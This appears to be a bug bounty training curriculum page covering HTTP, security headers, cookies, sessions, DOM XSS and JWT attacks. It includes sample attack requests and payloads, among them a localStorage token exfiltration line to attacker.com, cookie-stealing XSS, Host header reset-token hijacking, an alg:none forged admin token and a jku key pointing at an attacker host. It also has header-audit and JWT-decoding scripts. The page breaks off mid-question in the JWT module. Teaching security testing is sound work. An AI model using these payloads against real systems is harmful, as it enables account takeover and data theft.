/  modules live — written in order, published as they're done
$ academy/overview
4 phases 24 modules
bug bounty study program

Not a course.
A curriculum.

Progressive study from core web fundamentals to specialized bug hunting. Each module builds on the last. No gaps, no shortcuts.

your starting point
assumed knowledge — what you already have
Offensive mindset
Burp Suite / Caido
Basic recon
Some APIs / auth / XSS
Good tampering intuition
Basic–intermediate practice
the four phases
Phase 1 Core Web — The foundation everyone assumes they have
HTTP internals, browser security model, SOP, CORS, CSRF, cookies, sessions, storage and cache. The layer where most hunters have gaps.
1.1 HTTP1.2 Headers1.3 Cookies1.4 Sessions1.5 Browser1.6 SOP1.7 CORS1.8 CSRF1.9 Storage1.10 Cache
Phase 2 Auth & APIs — Where the money is
JWT, OAuth, REST, GraphQL, multi-tenant architecture and authorization logic. The classes that consistently produce high-severity findings.
2.1 JWT2.2 OAuth2.3 REST2.4 GraphQL2.5 Multi-tenant2.6 Auth logic
Phase 3 Vulnerabilities — Real offensive hunting
BAC, IDOR, workflow abuse, XSS, DOM XSS, client-side bugs, postMessage and CSP. Modern applications, not textbook examples.
3.1 BAC3.2 IDOR3.3 Workflow3.4 XSS3.5 DOM XSS3.6 Client-side3.7 postMessage3.8 CSP
Phase 4 Recon & Automation — Scale like a hunter
Modern recon, JS review, endpoint discovery, automation from zero, pipelines and AI-assisted workflows.
4.1 Recon4.2 JS review4.3 Discovery4.4 Automation4.5 Pipelines4.6 AI
back to overview
1.1 · Phase 1 — Core Web
HTTP Deep Dive
Phase 1 HTTP protocol request lifecycle
HTTP is the language bugs speak. An IDOR is an HTTP object with broken access control. A CSRF is an HTTP request that shouldn't be possible. If you don't have the right mental model for how HTTP works at a low level, you're hunting with half your vision.
core concepts
How HTTP works internally

HTTP is a stateless request-response protocol over TCP. Every request has an exact structure: METHOD /path HTTP/1.1\r\n, then headers, then \r\n\r\n (the critical separator), then optional body. HTTP/2 uses binary frames but Burp translates it — your workflow doesn't change.

HTTP methods that matter for hunting

GETNo body. Idempotent. But many APIs accept params in body anyway.


PUTReplaces the full resource. Very interesting for IDOR.


PATCHPartial modification. Even more interesting for IDOR.


DELETEAlways test if it works without auth.


OPTIONSCORS negotiation. Reveals what methods the server allows.


Hunter thought: Try PUT /api/users/123 instead of GET. Many backends implement the happy path (GET, POST) but forget to protect less common verbs.

Status codes that matter

401Unauthenticated. No token.
403Authenticated but no permission. THE difference from 401.
404Or is it a 403 disguised? Many backends do this.
500Note what input caused it.


Differential error: If /api/documents/456 returns 403 but /api/documents/9999 returns 404, you confirmed ID 456 exists. That's user enumeration via status code oracle.

Where bugs live in the request lifecycle

Most BAC/IDOR bugs live in the gap between authorization middleware and business logic. The middleware checks 'can you access documents?' but the business logic accepts documentId without verifying that document belongs to you.


Browser → CDN/WAF → LB → Auth MWAuthz MW → Routing → Business logic → DB
The gap between Authz MW and Business logic is where most bugs live.

real http requests
modern SPA request
POST /api/v2/documents/transfer HTTP/1.1 Host: app.target.com Authorization: Bearer eyJhbGciOiJSUzI1NiJ9... Content-Type: application/json Origin: https://app.target.com {"documentId": "doc_abc123", "targetUserId": "usr_xyz789"}
response with information leakage
HTTP/1.1 200 OK Server: nginx/1.18.0 ← leaks stack X-Powered-By: Express ← leaks framework {"success":true,"document":{"id":"doc_abc123","owner":"usr_xyz789", "previousOwner":"usr_original"}} ← unrequested field
what backends get wrong
Trusting X-Forwarded-For and similar headers

Many backends use X-Forwarded-For for rate limiting, geolocation, or IP whitelist bypass. Test:


X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
True-Client-IP: 10.0.0.1

Host header used in URL construction

If the server uses Host to build password reset links or confirmation emails, change it to your domain:


Host: evil.attacker.com

Validating Content-Type but not the body

If the WAF only filters JSON but the backend accepts form data, you can bypass protections. Try switching:


Content-Type: application/x-www-form-urlencoded
Content-Type: multipart/form-data

hunting checklist
hunter mindset
🔍
Every response is evidence
A 403 vs 404 tells you different things. A 500 tells you what input the backend doesn't handle. Read every status code as data.
The UI is not the API
The browser shows what developers want you to see. The API accepts what the backend handles. These are different surfaces.
🎯
Think in layers
A WAF, a proxy, and a backend can interpret the same request differently. That gap is where bugs live.
🔧
Vary one thing at a time
Method, header, content-type, parameter — one variable per request. Otherwise you don't know what caused the behavior.
useful mini script
python http_recon.py
import requests, sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://httpbin.org/" LEAK = ["Server","X-Powered-By","X-AspNet-Version","Via","X-Varnish"] SEC = ["Strict-Transport-Security","Content-Security-Policy", "X-Content-Type-Options","X-Frame-Options"] VERBS = ["GET","POST","PUT","PATCH","DELETE","OPTIONS","HEAD"] r = requests.get(TARGET, timeout=10, allow_redirects=False) print(f"Status: {r.status_code}\n") print("[ leakage headers ]") for h in LEAK: if h.lower() in {k.lower() for k in r.headers}: print(f" {h}: {r.headers.get(h)}") print("\n[ missing security headers ]") for h in SEC: if h.lower() not in {k.lower() for k in r.headers}: print(f" MISSING: {h}") print("\n[ verb responses ]") for v in VERBS: try: resp = requests.request(v, TARGET, timeout=5, allow_redirects=False) print(f" {v:10} → {resp.status_code}") except: print(f" {v:10} → ERROR")
assessment — answer to reveal
Q1 /api/documents/456 returns 403. /api/documents/9999 returns 404. What did you learn and how do you use it?
ID 456 exists — the server knows about it and actively denies access. Use this to: (1) enumerate valid IDs by looking for 403s vs 404s, (2) confirm a target resource exists before attempting IDOR, (3) build a map of existing IDs. The backend leaks existence information through error code choice.
Q2 A request includes X-Forwarded-For: 10.0.0.1. What offensive possibilities and what do you test first?
Possibilities: (1) rate limiting bypass — try 127.0.0.1 to appear as localhost, (2) IP whitelist bypass — internal IPs may have elevated privileges, (3) geolocation bypass. Test first: change to 127.0.0.1 and look for any behavioral difference. Even a subtle change in rate limit headers confirms the backend uses this value.
Q3 POST /api/users/update accepts application/json. Give 3 concrete HTTP-related steps to test it.
1 — Verb tampering: try GET, PUT, PATCH, DELETE on the same path. A 405 vs 403 tells you different things. 2 — Content-Type switch: resend as application/x-www-form-urlencoded and multipart/form-data. If accepted, you have a WAF bypass vector. 3 — Response field analysis: every undocumented field in the JSON response (role, is_admin, internal_id) is a mass assignment candidate — send them in the next POST and see if they persist.
back to overview
1.2 · Phase 1 — Core Web
Security Headers
Phase 1 headers security browser policy
Headers are the meta-layer of HTTP. They configure how browsers interpret responses, what origins can communicate with what, and how much information servers leak about themselves. For hunters, headers are both a source of bugs and a map of the target's security posture.
core concepts
Request headers vs response headers

Request headers go from client to server — they tell the server who is asking, what format they accept, where they came from, and what credentials they carry. Response headers go from server to client — they tell the browser how to interpret and handle the response.


Hunter angle: Request headers you control are attack vectors. Response headers the server sends are information leakage and security posture signals.

Information leakage headers — what backends expose

These headers reveal the server's stack and should not be present in production:


Server: nginx/1.18.0web server version
X-Powered-By: Expressframework
X-AspNet-Version: 4.0.30319.NET version
X-Generator: Drupal 9CMS version
Via: 1.1 varnishcache layer
X-Varnish: 12345678Varnish cache ID


Why it matters: these headers tell you what CVEs to look for, what CMS plugins exist, what framework quirks to exploit, and how the infrastructure is layered.

Security headers — what should be there but often isn't

Content-Security-Policycontrols what resources the browser can load. Absence = XSS is easier to exploit. Weak policy = bypass vectors.


X-Frame-Optionsprevents the page from being embedded in iframes. Absence = clickjacking possible.


X-Content-Type-Options: nosniffprevents the browser from MIME-sniffing responses. Absence = content-type confusion attacks.


Strict-Transport-Securityforces HTTPS. Absence on HTTPS sites = downgrade attacks possible.


Referrer-Policycontrols what URL is sent in the Referer header. Absence = sensitive URLs may leak to third parties.


Permissions-Policycontrols browser features (camera, geolocation, etc.). Absence = features accessible when they shouldn't be.

Headers you control as an attacker

These are the most useful request headers to tamper with during hunting:


Hostif the server uses this to build URLs (password resets, redirects), you can hijack tokens.


X-Forwarded-For / X-Real-IPIP spoofing for rate limit bypass, whitelist bypass, geofencing bypass.


Originkey for CORS testing. Change to attacker.com and see if ACAO reflects it.


Referersome backends use this for access control ('only allow requests from our own pages'). Spoof it.


Content-Typeswitching between JSON / form-data / multipart can bypass WAF filters or trigger different parsing logic.


X-HTTP-Method-Overrideverb tunneling. A POST with this header can behave like a DELETE, bypassing method-level middleware.


Accept-Languagesometimes triggers different code paths (localized content, different auth logic). Worth varying.

CSP deep dive — the header that contains XSS

Content-Security-Policy is complex enough to deserve its own module (3.8), but you need to be able to read it now. A CSP defines which sources are trusted for scripts, styles, images, etc.


Weak CSP patterns to look for:


script-src 'unsafe-inline'inline scripts allowed. XSS payloads work directly.
script-src 'unsafe-eval'eval() allowed. Many XSS bypass techniques work.
script-src *wildcard. Any external script allowed.
script-src cdn.example.comif cdn.example.com has JSONP or Angular, it's bypassable.


No CSP at all is obviously bad — but a misconfigured CSP is almost worse because it creates a false sense of security.

real header examples
bad production response — leakage + missing security
HTTP/1.1 200 OK Server: Apache/2.4.51 (Ubuntu) ← CVE surface X-Powered-By: PHP/8.0.12 ← PHP version exposed X-Generator: WordPress 6.1 ← CMS exposed Content-Type: text/html; charset=UTF-8 ← No CSP, no X-Frame-Options, no HSTS, no X-Content-Type-Options ← This page is frameable, MIME-sniffable, and XSS-exploitable
good production response — hardened
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123' X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Permissions-Policy: camera=(), microphone=(), geolocation=() ← Stack hidden. CSP with nonce. Not frameable. Not MIME-sniffable.
CORS headers — what to look for
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://attacker.com ← reflected origin Access-Control-Allow-Credentials: true ← credentialed! ← Vary: Origin is missing → no cache protection ← Matches known pattern SIG-0007. Promotable.
what backends get wrong
Setting security headers in the wrong layer

A common pattern: the CSP or HSTS is set in the application code, but a CDN or reverse proxy strips it before reaching the client. Test by hitting the origin directly (bypass CDN) and comparing headers.


Also common: the Vary header is set by the app but stripped by the CDN, invalidating the CORS protection.

CSP report-only mode left in production

Content-Security-Policy-Report-Only tells the browser to log violations but not enforce them. It's for testing. When left in production, it provides zero protection — the XSS still executes.


If you see this header, treat the page as if it had no CSP.

Trusting Referer for access control

Some backends check the Referer header to confirm the request came from their own frontend. This is bypassable in two seconds:


Referer: https://legitimate-app.com/dashboard


The Referer header is client-controlled. Never a security boundary.

Cache-Control misconfiguration on sensitive endpoints

Sensitive endpoints (profile data, tokens, financial info) should have:


Cache-Control: no-store, no-cache, private


When missing, the response may be cached by shared proxies, CDNs or the browser itself — leaking the data to the next user on a shared machine or network.

hunting checklist
hunter mindset
🗺️
Headers are a map
Before touching a single endpoint, read all response headers. They tell you the stack, the security posture, and what attack classes are viable.
🎭
You control more than you think
Origin, Referer, Host, X-Forwarded-For, Content-Type, Accept-Language — all client-controlled. If the server trusts any of them without validation, that's your attack vector.
🔬
Absent headers are findings too
A missing X-Frame-Options on an authenticated page is a clickjacking finding. A missing Cache-Control on a sensitive endpoint is an information disclosure finding. You don't only hunt for what's there.
🧅
Headers differ between layers
What the CDN sends and what the origin sends are often different. Always test both. A security header present at the CDN layer but absent at origin is a real bypass path.
useful mini script
python header_audit.py — full header security audit
import requests, sys, json TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://httpbin.org/" LEAK = { "Server": "web server version", "X-Powered-By": "framework/language", "X-AspNet-Version": ".NET version", "X-Generator": "CMS/generator", "Via": "proxy/cache layer", "X-Varnish": "Varnish cache", "X-Drupal-Cache": "Drupal CMS", "X-Magento-Tags": "Magento CMS", } SEC_REQUIRED = { "Strict-Transport-Security": "HSTS — force HTTPS", "Content-Security-Policy": "CSP — XSS mitigation", "X-Frame-Options": "Clickjacking protection", "X-Content-Type-Options": "MIME sniffing protection", "Referrer-Policy": "Referer leakage control", "Permissions-Policy": "Browser feature control", } CORS_HEADERS = [ "Access-Control-Allow-Origin", "Access-Control-Allow-Credentials", "Access-Control-Allow-Methods", "Vary", ] def audit(url): headers_lower = {} try: r = requests.get(url, timeout=10, allow_redirects=False, headers={"Origin": "https://attacker.example.com"}) headers_lower = {k.lower(): v for k, v in r.headers.items()} print(f"\n[{r.status_code}] {url}\n") except Exception as e: print(f"Error: {e}"); return print("[ LEAKAGE HEADERS ]") found_any = False for h, desc in LEAK.items(): val = headers_lower.get(h.lower()) if val: print(f" ⚠ {h}: {val} ({desc})") found_any = True if not found_any: print(" ✓ None found") print("\n[ MISSING SECURITY HEADERS ]") for h, desc in SEC_REQUIRED.items(): if h.lower() not in headers_lower: print(f" ✗ {h} — {desc}") else: val = headers_lower[h.lower()] # flag report-only CSP if h == "Content-Security-Policy": if "report-only" in val.lower(): print(f" ⚠ CSP is report-only (no enforcement!): {val[:80]}") elif "unsafe-inline" in val or "unsafe-eval" in val: print(f" ⚠ CSP has unsafe directives: {val[:80]}") else: print(f" ✓ {h}") else: print(f" ✓ {h}") print("\n[ CORS HEADERS ]") for h in CORS_HEADERS: val = headers_lower.get(h.lower()) if val: flag = "⚠ " if h == "Access-Control-Allow-Origin" and val not in ["null","*"] else " " print(f" {flag}{h}: {val}") # Check CSP report-only if "content-security-policy-report-only" in headers_lower: print("\n ⚠ Content-Security-Policy-Report-Only present — no enforcement!") audit(TARGET)
assessment — click to reveal answers
Q1 A response includes Content-Security-Policy-Report-Only: default-src 'self'. You find an XSS injection point. Does the CSP stop your XSS? Why?
No. Report-Only mode logs violations but does not enforce them. The browser will send a violation report to the configured endpoint (if any) but will still execute the script. Treat this page as having no CSP. This is a real finding — report that the CSP is not being enforced and therefore provides no XSS mitigation.
Q2 You send Origin: https://attacker.com to an authenticated API endpoint and get back Access-Control-Allow-Origin: https://attacker.com and Access-Control-Allow-Credentials: true. What's the impact and what do you need to confirm before reporting?
Impact: an attacker-controlled page can make credentialed cross-origin requests to this API and read the response — meaning any data this endpoint returns (user data, tokens, internal info) is exposed to the attacker. Before reporting, confirm: (1) the endpoint actually returns sensitive data, (2) the browser will send credentials under realistic navigation (cookies exist for the domain, not just Bearer tokens in JS), (3) Vary: Origin is missing so there's no cache protection. Matches known pattern SIG-0007.
Q3 A target's CDN response has X-Frame-Options: DENY. You bypass the CDN and hit the origin directly. The header is missing. Is this a finding? What's the attack?
It depends. The protection only matters if the browser enforces it — and browsers talk to the CDN, not the origin. So if the CDN consistently adds the header, end users are protected. However, this is still a finding for two reasons: (1) it indicates the security posture is applied at infrastructure level not application level, which is fragile — any CDN misconfiguration or direct-to-origin path bypasses it, (2) if there's any way to reach the origin directly (IP leakage, alternative hostnames, etc.) clickjacking is possible. Report it as a defense-in-depth issue. The attack: embed the target in an invisible iframe on an attacker page and trick the user into clicking on UI elements that perform actions.
Q4 You intercept a password reset email request. The app uses the Host header to build the reset link. What do you send and what happens?
Send Host: attacker.com in the password reset request. If the app trusts the Host header to construct the reset URL without validation, it will generate a link like https://attacker.com/reset?token=SECRET and email it to the victim. When the victim clicks it, your server receives the token. You use the token against the real app to take over the account. This is Host Header Injection leading to account takeover — a critical finding. To confirm without actually intercepting a real user's email, test against your own account.
back to overview
1.3 · Phase 1 — Core Web
Cookies
Phase 1 cookies auth session fixation
Cookies are the primary transport layer for auth tokens in traditional web apps. Understanding every attribute — not just HttpOnly and Secure — is what separates hunters who miss auth bugs from hunters who find them.
core concepts
How cookies work internally

The server sends Set-Cookie in the response. The browser stores it and attaches it automatically to every subsequent request matching the domain and path. The key word is automatically — the browser does this with no JS intervention, which is exactly what makes CSRF possible.

Every attribute and its security impact

HttpOnlyBlocks document.cookie. Stops XSS from stealing the cookie directly. But doesn't stop CSRF.


SecureTransmit over HTTPS only. Without this, the cookie travels in cleartext over HTTP.


SameSite=StrictOnly sent on same-site navigations. No cross-site requests at all.


SameSite=LaxSent on top-level navigations (clicking a link) but NOT on cross-site subresources. Default in modern browsers. Mitigates most CSRF but not all.


SameSite=NoneAlways sent. Requires Secure. Needed for legitimate cross-site usage (iframes, embeds). Classic CSRF territory.


DomainIf set to .example.com, the cookie is sent to all subdomains. A subdomain takeover can steal the cookie.


PathScopes the cookie to a path. Often ignored by hunters — but /api and /admin having different Path cookies is interesting.


Expires / Max-AgeNo expiry = session cookie (disappears on browser close). Long expiry = persistent. Long-lived auth cookies are bigger impact for account takeover bugs.

Cookie scope: domain vs subdomain

A cookie set on api.example.com without a Domain attribute is only sent to api.example.com. If Domain=.example.com is set, it goes to every subdomain. This matters: a wildcard cookie scope plus a subdomain takeover on any subdomain = session cookie theft.

Session fixation: underrated and often missed

Session fixation happens when the app doesn't rotate the session token after login. Flow: (1) Attacker gets a pre-auth session token. (2) Tricks victim into using that token. (3) Victim logs in. (4) Attacker now has an authenticated session. The fix is trivial: generate a new session ID on every privilege change.

real http requests
secure cookie set — correct implementation
HTTP/1.1 200 OK Set-Cookie: session=eyJhbGciOiJIUzI1NiJ9...; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600 ← All four key attributes present. SameSite=Lax protects against most CSRF.
insecure cookie — multiple issues
HTTP/1.1 200 OK Set-Cookie: session=abc123; Domain=.example.com; Path=/ ← No HttpOnly (XSS can steal it) ← No Secure (sent over HTTP) ← No SameSite (CSRF possible) ← Domain=.example.com (all subdomains get this cookie)
session fixation — no token rotation
// Before login: GET /login HTTP/1.1 Cookie: session=ATTACKER_CONTROLLED_TOKEN // After login — BUG: same token, now authenticated HTTP/1.1 302 Found Set-Cookie: session=ATTACKER_CONTROLLED_TOKEN ← Token should have changed here. This is the bug.
hunting checklist
what backends get wrong
Not rotating session token on login

The most common session fixation pattern. The backend reuses the pre-auth session ID after login. Fix: always invalidate and reissue on any privilege escalation event.

Setting Domain=.example.com by default for convenience

Developers set the wildcard domain for SSO or subdomain sharing. They often don't audit all subdomains. A forgotten staging.example.com pointing somewhere externally controlled now has the session cookie in scope.

assessment
A login endpoint sets: Set-Cookie: auth=xyz; HttpOnly; Secure; SameSite=Lax; Domain=.example.com; Max-Age=2592000. List every security concern.
(1) Domain=.example.com sends the cookie to all subdomains — subdomain takeover = session theft. (2) Max-Age=2592000 is 30 days — very long for an auth token. (3) SameSite=Lax still allows GET-based CSRF if state-changing endpoints accept GET. (4) HttpOnly+Secure are correct. (5) No Path restriction.
You notice the session cookie value is identical before and after login. What bug is this, what's the impact, and how do you reproduce it?
Session fixation. Impact: attacker can authenticate as victim using a pre-set token. Reproduction: (1) Note pre-auth session cookie. (2) Log in. (3) Same value? = fixation. (4) Demonstrate: second browser with pre-auth token becomes authenticated after victim logs in.
back to overview
1.4 · Phase 1 — Core Web
Sessions
Phase 1 sessions server-side state JWT
Sessions are how web apps maintain state across HTTP's statelessness. The two dominant models — server-side sessions and stateless tokens — have completely different attack surfaces.
core concepts
Server-side sessions vs stateless tokens

Server-side: the server stores session state in memory or DB. The client holds only an opaque random ID — a pointer. Invalidation is instant: delete the record.


Stateless (JWT): all state is encoded in the token itself, signed but not encrypted by default. The server validates the signature and reads the payload — no DB lookup needed. You can't invalidate a token without a blocklist.

Session lifecycle as attack surface

Creation (login) — token generated here. Bug: predictable token, no rotation from pre-auth state (fixation).

Transport — sent via cookie or Authorization header. Bug: missing HttpOnly/Secure, token in URL params.

Validation — server checks the token. Bug: accepting expired tokens, missing signature validation, trusting client-supplied role claims.

Invalidation (logout) — Bug: only client-side deletion, server still accepts old token.

Session token entropy and predictability

A good session token is cryptographically random with enough entropy to make brute force infeasible. Red flags: sequential IDs, timestamps as tokens, base64-encoded predictable data, tokens under 128 bits. Collect 20 tokens and look for patterns.

Where tokens live: cookie vs localStorage vs memory

Cookie (HttpOnly)JS can't read it. Sent automatically. Protected from XSS token theft. Vulnerable to CSRF. Best default.


localStorageJS can read it freely. Not auto-sent. CSRF-safe. But a single XSS = complete token exfiltration: fetch('//attacker.com/?t='+localStorage.getItem('token')).


MemoryGone on tab close. Harder to steal. Used in high-security SPAs but impractical for most apps.

real http requests
login with proper session rotation
POST /api/auth/login HTTP/1.1 Content-Type: application/json {"email":"user@example.com","password":"..."} --- HTTP/1.1 200 OK Set-Cookie: session=NEW_RANDOM_TOKEN; HttpOnly; Secure; SameSite=Lax ← Token changed from pre-auth value. Correct.
logout — client-side only (broken)
POST /api/auth/logout HTTP/1.1 Cookie: session=abc123xyz --- HTTP/1.1 200 OK Set-Cookie: session=; Max-Age=0 ← Cookie cleared client-side. But is abc123xyz still valid server-side? ← Test: manually send Cookie: session=abc123xyz after logout. ← If you get a 200, the server never invalidated it. This is the bug.
hunting checklist
what backends get wrong
Logout only clears the client-side cookie

The frontend clears the cookie, the backend returns 200, but never invalidates the token server-side. The old token is permanently valid. Test: save the cookie before logout, replay it after.

Trusting role/permission claims in JWTs without re-validation

The JWT payload contains role claims. The backend checks the signature but uses payload.role directly for authorization — if signature validation is weak (alg:none), it is full privilege escalation. Covered in depth in module 2.1.

assessment
You log out of an app. The browser shows you're logged out. You open Burp, resend the last authenticated request with the old session cookie. You get a 200 with your user data. What's the bug, severity, and how do you report it?
Bug: session not invalidated server-side on logout. Severity: Medium-High — on its own moderate impact, but chained with any session interception vector extends attacker access indefinitely. Report: show the pre-logout token, the post-logout 200 response, and note the token remains valid with no observed expiry.
back to overview
1.5 · Phase 1 — Core Web
Browser Model
Phase 1 DOM rendering pipeline browser internals
Most client-side bugs live in the gap between how developers think the browser works and how it actually works. DOM XSS, prototype pollution, clickjacking, open redirects — all require understanding the browser's internal model.
core concepts
The browser rendering pipeline

Network request → HTML parsing → DOM construction → CSS → Render tree → Layout → Paint. The critical moment: HTML parsing is where the browser decides what is markup vs content. XSS is fundamentally a parsing problem — attacker-controlled data interpreted as markup.

The DOM: what it is and why it matters

The DOM is the browser's live in-memory representation of the page as a tree. JS can read and modify it at runtime. Key: innerHTML, document.write(), and eval() are DOM sinks — they interpret strings as HTML/JS. Attacker-controlled data reaching a sink = DOM XSS.

Sources and sinks: the DOM XSS mental model

Sources — where attacker-controlled data enters JS: location.hash, location.search, document.referrer, window.name, postMessage data.


Sinks — where data gets executed as HTML/JS: innerHTML, outerHTML, document.write(), eval(), setTimeout(string), location.href= (open redirect/XSS), element.src=.


DOM XSS = source → no sanitization → sink. The server never sees the payload.

Browser security boundaries: origins and frames

The primary security boundary is the origin (scheme + host + port). Cross-origin iframes can't read the parent's DOM. But: postMessage can cross origins (misconfigurations = module 3.7), clickjacking exploits visual overlay without read access, and window.open() gives opener handles.

JavaScript execution contexts

Every page has a global execution context (window). Scripts from different origins don't share it. Service workers run separately with network interception capability — often overlooked attack surface. Prototype pollution: modifying Object.prototype in the global context affects all objects on the page.

real scenarios
DOM XSS via location.hash
// Vulnerable code in app JS: const tab = location.hash.slice(1); // source: location.hash document.getElementById('content').innerHTML = tab; // sink: innerHTML // Payload URL: https://app.example.com/dashboard#<img src=x onerror=alert(1)> // Server never sees the payload — it's after the # // No server-side WAF or filter will catch this
open redirect via location.href sink
// Vulnerable code: const next = new URLSearchParams(location.search).get('next'); location.href = next; // sink: location.href // Payload: https://app.example.com/login?next=//evil.com // Or for XSS: https://app.example.com/login?next=javascript:alert(1)
hunting checklist
assessment
You find this code in a minified JS bundle: t=location.hash.substring(1),document.querySelector('#msg').innerHTML=decodeURIComponent(t). Is this exploitable? What's the payload? What's the impact?
Yes. Source: location.hash. Sink: innerHTML. No sanitization. Payload: #%3Cimg%20src%3Dx%20onerror%3Dalert(document.cookie)%3E. Impact: DOM XSS — hash-based so no server-side filter catches it. If cookies are not HttpOnly = full session theft.
What is the difference between reflected XSS, stored XSS, and DOM XSS from a hunting perspective — specifically where you look and what tools catch each?
Reflected: payload in request, server echoes it back — find by injecting in inputs, scanners catch most. Stored: payload saved to DB, renders for all users — inject in persistent fields (profile, comments), higher severity. DOM: payload never reaches server — only found via JS source review, scanners miss most of it, use DOM Invader in Burp.
back to overview
2.1 · Phase 2 — Auth & APIs
JWT
Phase 2 jwt auth signatures claims
A JWT is a signed, not encrypted, statement the server chooses to trust. Every JWT bug is the server trusting the token more than it verified it: skipping the signature check, accepting an algorithm you control, using a guessable secret, or reading claims it never re-validated. You read the token, you decide what the server forgot to check, and you prove it with your own account.
core concepts
Anatomy: header.payload.signature
A JWT is three base64url parts joined by dots. The header declares the algorithm (alg) and optional key hints (kid, jku, x5u). The payload holds claims: sub (who), exp (until when), and often role/scope. The signature is computed over header+payload with a key. Critically: the first two parts are just base64 — anyone can read and rewrite them. Only the signature is supposed to stop tampering. Every attack targets the gap between 'the payload says X' and 'the signature actually proves X'.
alg:none — the server that trusts an unsigned token
The spec allows alg: none, meaning 'no signature'. A library that honours it will accept a token with an empty signature part as valid. Set the header to {"alg":"none"}, edit the payload freely (bump role to admin), drop the signature, keep the trailing dot. If it authenticates, the server never verified anything. Also try casing tricks (None, nOnE) against naive allowlists.
RS256 → HS256 algorithm confusion
With RS256 the server verifies with a public key. If the code calls a generic verify(token, key) and you change alg to HS256, some libraries will HMAC-verify using that public key as the HMAC secret. The public key is not secret — you can often fetch it (JWKS endpoint, TLS cert, docs). Sign your tampered token with HS256 using the public key bytes as the secret, and the server validates it as genuine. Root cause: the verifier trusts the token's own alg instead of pinning the expected one.
Weak HMAC secrets and missing claim validation
HS256 tokens are only as strong as the secret. Dictionary/brute-force the signature offline (hashcat mode 16500) against wordlists — secret, changeme, framework defaults appear constantly. Separately, even with a valid signature, check what the server doesn't validate: an ignored exp (replay old tokens), an unverified iss/aud (accept a token minted for another service), or a role claim read straight into authorization. A perfectly signed token with a trusted-but-unchecked claim is still privilege escalation.
kid / jku / x5u header injection
The header can tell the server where to get the verification key. kid often indexes a key by id — if it feeds a file path or SQL query, try path traversal (kid: ../../dev/null → empty key → sign with empty secret) or SQLi. jku/x5u point to a URL serving the key set — if the host isn't strictly allowlisted, point it at your server, host your own key, and the server verifies your token with your key. Any key hint the client controls is an attack surface.
real http requests
the token, decoded — read before you attack
header : {"alg":"RS256","typ":"JWT","kid":"k-01"} payload: {"sub":"user_42","role":"user","exp":1750000000} both are base64url only — no secret needed to read them. eyJhbGciOiJSUzI1NiIsImtpZCI6ImstMDEifQ.eyJzdWIiOiJ1c2VyXzQyIiwicm9sZSI6InVzZXIifQ.SIG
alg:none forgery — signature dropped, role escalated
GET /api/me HTTP/1.1 Host: app.target.com Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyXzQyIiwicm9sZSI6ImFkbWluIn0. ← header {"alg":"none"}, payload role=admin, empty signature, trailing dot kept ← 200 with admin context = the server never verified the signature
jku pointing at attacker-hosted keys
header: {"alg":"RS256","jku":"https://evil.attacker.com/jwks.json"} you host jwks.json with YOUR public key; sign with YOUR private key. if the server fetches jku without allowlisting the host -> your token verifies.
what backends get wrong
verify() without pinning the algorithm
The handler calls jwt.verify(token, key) and lets the token's header choose alg. That single decision enables both alg:none and RS256→HS256 confusion. The fix they skipped: pass an explicit algorithms:['RS256'] allowlist. If you can change the header algorithm and still authenticate, this is the root cause.
Decoding the payload instead of verifying it
Some code does jwt.decode() (read only, no signature check) and then trusts the claims — a shocking amount of homegrown auth does exactly this. Tamper any claim and it sails through, because nothing ever checked the signature. Test by editing the payload and leaving a garbage signature: if it still works, verification isn't happening at all.
No server-side invalidation (logout is a lie)
JWTs are stateless: the server can't revoke one without a blocklist. If logout only deletes the client copy, the token stays valid until exp. Combined with a long or missing exp, a leaked token is a durable session. Save a token, 'log out', replay it — a 200 confirms there is no real invalidation.
hunting checklist
hunter mindset
📖
Signed is not encrypted
The payload is public. Never assume a claim is hidden — assume the attacker read and rewrote it, and ask what stops that.
🎚️
The alg header is attacker input
If the server lets the token pick its own verification algorithm, you pick it too. Pinning is the fix; its absence is the bug.
A valid signature isn't a valid session
exp, iss, aud and revocation are separate checks. Signed correctly but never expiring is still a finding.
🗝️
Follow the key
kid, jku, x5u all answer 'which key?'. If the client influences that answer, you can make the server verify with a key you own.
useful mini script
python jwt_peek.py
import base64, json, sys # Decode a JWT WITHOUT verifying (reading is free) and flag classic weak spots. # Reading only — no attack is performed here. def b64(part): part += "=" * (-len(part) % 4) # fix base64url padding return base64.urlsafe_b64decode(part) tok = sys.argv[1] h, p, sig = tok.split(".") header = json.loads(b64(h)) payload = json.loads(b64(p)) print("header :", header) print("payload:", payload) print("sig len:", len(sig), "(0 = unsigned / alg:none)") alg = str(header.get("alg", "")).lower() if alg == "none": print("[!] alg:none accepted by design if server honours it") if alg.startswith("hs"): print("[!] HMAC -> try offline secret brute force (hashcat 16500)") if alg.startswith("rs"): print("[!] RS -> try RS256->HS256 confusion with the public key") for k in ("kid", "jku", "x5u"): if k in header: print(f"[!] {k} present -> test injection / attacker-hosted key: {header[k]}") if "exp" not in payload: print("[!] no exp claim -> token may never expire")
assessment — answer to reveal
Q1 A token is RS256. You change the header to HS256 and sign with the app's public key as the secret, and it authenticates. Explain the bug and the one-line fix.
Algorithm confusion. The verifier used a generic verify(token, key) that trusts the token's alg. With HS256 it HMAC-verifies using the RSA public key bytes as the secret — and the public key isn't secret, so you can forge any payload. Fix: pin the accepted algorithm(s) — pass algorithms:['RS256'] so an HS256 token is rejected outright. Impact is full authentication bypass / privilege escalation since you can mint any claims.
Q2 You edit the payload role from user to admin, leave the original (now invalid) signature, and the request still returns admin data. What happened and what's the severity?
The server is decoding, not verifying — it reads the claims and never checks the signature (classic jwt.decode() instead of jwt.verify(), or verification wrapped in a try/except that swallows failures). Severity: critical — arbitrary claim control means full account takeover and privilege escalation with no cryptography needed. Prove it cleanly by escalating your own test account and showing the admin-only response.
Q3 The header contains "kid":"key1". Why is this interesting, and what two injection classes do you test?
